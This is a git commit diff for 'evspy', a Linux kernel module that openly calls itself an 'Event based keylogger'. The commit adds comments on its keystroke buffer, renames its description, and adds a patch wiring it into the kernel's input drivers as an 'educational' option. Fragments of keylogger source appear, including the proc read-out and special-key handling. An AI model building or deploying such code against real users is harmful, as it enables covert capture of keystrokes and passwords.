summaryrefslogtreecommitdiff
path: root/evspy
diff options
context:
space:
mode:
Diffstat (limited to 'evspy')
-rw-r--r--evspy/evspy.c40
-rw-r--r--evspy/evspy.h2
-rw-r--r--evspy/evspy.patch31
3 files changed, 52 insertions, 21 deletions
diff --git a/evspy/evspy.c b/evspy/evspy.c
index 8703bf1..50af056 100644
--- a/evspy/evspy.c
+++ b/evspy/evspy.c
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2011 Guillermo Ramos
+ * Copyright (c) 2011 Guillermo Ramos <0xwille@gmail.com>
* based on evbug module by Vojtech Pavlik ((c) 1999-2001)
*/
@@ -18,30 +18,27 @@
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*
- * Should you need to contact me, the author, you can do so either by
- * e-mail - mail your message to <vojtech@ucw.cz>, or by paper mail:
- * Vojtech Pavlik, Simunkova 1594, Prague 8, 182 00 Czech Republic
+ * Should you need to contact me, the author, you can mail your message to
+ * <0xwille@gmail.com>
*/
-#include <linux/slab.h>
#include <linux/module.h>
#include <linux/input.h>
+#include <linux/slab.h>
#include <linux/init.h>
-#include <linux/device.h>
-
-#include <asm/page.h>
#include <linux/proc_fs.h>
#include <linux/stat.h>
#include <linux/string.h>
#include <linux/cred.h>
#include <linux/sched.h>
+#include <asm/page.h>
#include "evspy.h"
-static char *buffer;
-static char *rdp;
-static char *wrp;
-static char *map = EVS_MAP; // The current keyboard layout
+static char *buffer; // circular buffer
+static char *rdp; // read pointer
+static char *wrp; // write pointer
+static char *map = EVS_MAP; // current keyboard layout
static unsigned int capslock_state = EVS_VAL_FREE;
// This is how special keys will be displayed (+: pressed / -: freed)
@@ -71,12 +68,15 @@ int evspy_read_proc(char *page, char **start, off_t offset, int count,
#endif
}
+ // wrp > rdp: read from rdp to wrp
if (diff > 0) {
n = MIN(diff, count);
strncpy(page, rdp, n);
rdp += n;
retval = n;
+ // rdp > wrp: read from rdp to end of buffer and then from the beginning of
+ // the buffer to wrp
} else if (diff < 0) {
toend = (buffer + EVS_BUFSIZE) - rdp;
n = MIN(toend, count);
@@ -93,6 +93,7 @@ int evspy_read_proc(char *page, char **start, off_t offset, int count,
}
}
+ // wrp == rdp: buffer is empty
if (rdp == wrp)
*eof = 1;
return retval;
@@ -106,7 +107,7 @@ static void special_char(unsigned int code, unsigned int value)
int i;
int known = 1;
- // We don't care when some keys are freed
+ // We don't care when some special keys are freed; add them here
switch(code) {
case KEY_LEFTSHIFT:
case KEY_RIGHTSHIFT:
@@ -158,7 +159,7 @@ static void special_char(unsigned int code, unsigned int value)
}
if (!known && evs_isfX(code)) {
- // TODO: Which F key has been pressed?
+ // TODO: Which F key has been pressed? (by the way, who cares? ... )
strncpy(sp_tag+2, "F??", 3);
} else if (!known) {
return;
@@ -245,10 +246,10 @@ static const struct input_device_id evspy_ids[] = {
MODULE_DEVICE_TABLE(input, evspy_ids);
static struct input_handler evspy_handler = {
- .event = evspy_event,
- .connect = evspy_connect,
- .disconnect = evspy_disconnect,
- .name = "evspy",
+ .event = evspy_event,
+ .connect = evspy_connect,
+ .disconnect = evspy_disconnect,
+ .name = "evspy",
.id_table = evspy_ids,
};
@@ -271,7 +272,6 @@ static void __exit evspy_exit(void)
module_init(evspy_init);
module_exit(evspy_exit);
-MODULE_AUTHOR("Vojtech Pavlik <vojtech@ucw.cz>");
MODULE_AUTHOR("Guillermo Ramos <0xwille@gmail.com>");
-MODULE_DESCRIPTION("Custom input driver event module");
+MODULE_DESCRIPTION("Event based keylogger");
MODULE_LICENSE("GPL");
diff --git a/evspy/evspy.h b/evspy/evspy.h
index 1401337..626dc2f 100644
--- a/evspy/evspy.h
+++ b/evspy/evspy.h
@@ -1,5 +1,5 @@
+#include <asm/page.h>
#include <linux/input.h>
-// TODO include PAGE_SIZE etc
#include "maps.h"
#define EVS_MAP map_es // change this to your keyboard layout
diff --git a/evspy/evspy.patch b/evspy/evspy.patch
new file mode 100644
index 0000000..916f52b
--- /dev/null
+++ b/evspy/evspy.patch
@@ -0,0 +1,31 @@
+diff --git a/drivers/input/Kconfig b/drivers/input/Kconfig
+index 23e82e4..ac4889a 100644
+--- a/drivers/input/Kconfig
++++ b/drivers/input/Kconfig
+@@ -149,6 +149,14 @@ config INPUT_EVBUG
+ To compile this driver as a module, choose M here: the
+ module will be called evbug.
+
++config INPUT_EVSPY
++ tristate "Event based keylogger"
++ help
++ This is an experimental keylogger made for educational purposes
++
++ To compile this driver as a module, choose M here: the
++ module will be called evspy.
++
+ config INPUT_APMPOWER
+ tristate "Input Power Event -> APM Bridge" if EXPERT
+ depends on INPUT && APM_EMULATION
+diff --git a/drivers/input/Makefile b/drivers/input/Makefile
+index 0c78949..00c8429 100644
+--- a/drivers/input/Makefile
++++ b/drivers/input/Makefile
+@@ -15,6 +15,7 @@ obj-$(CONFIG_INPUT_MOUSEDEV) += mousedev.o
+ obj-$(CONFIG_INPUT_JOYDEV) += joydev.o
+ obj-$(CONFIG_INPUT_EVDEV) += evdev.o
+ obj-$(CONFIG_INPUT_EVBUG) += evbug.o
++obj-$(CONFIG_INPUT_EVSPY) += evspy.o
+
+ obj-$(CONFIG_INPUT_KEYBOARD) += keyboard/
+ obj-$(CONFIG_INPUT_MOUSE) += mouse/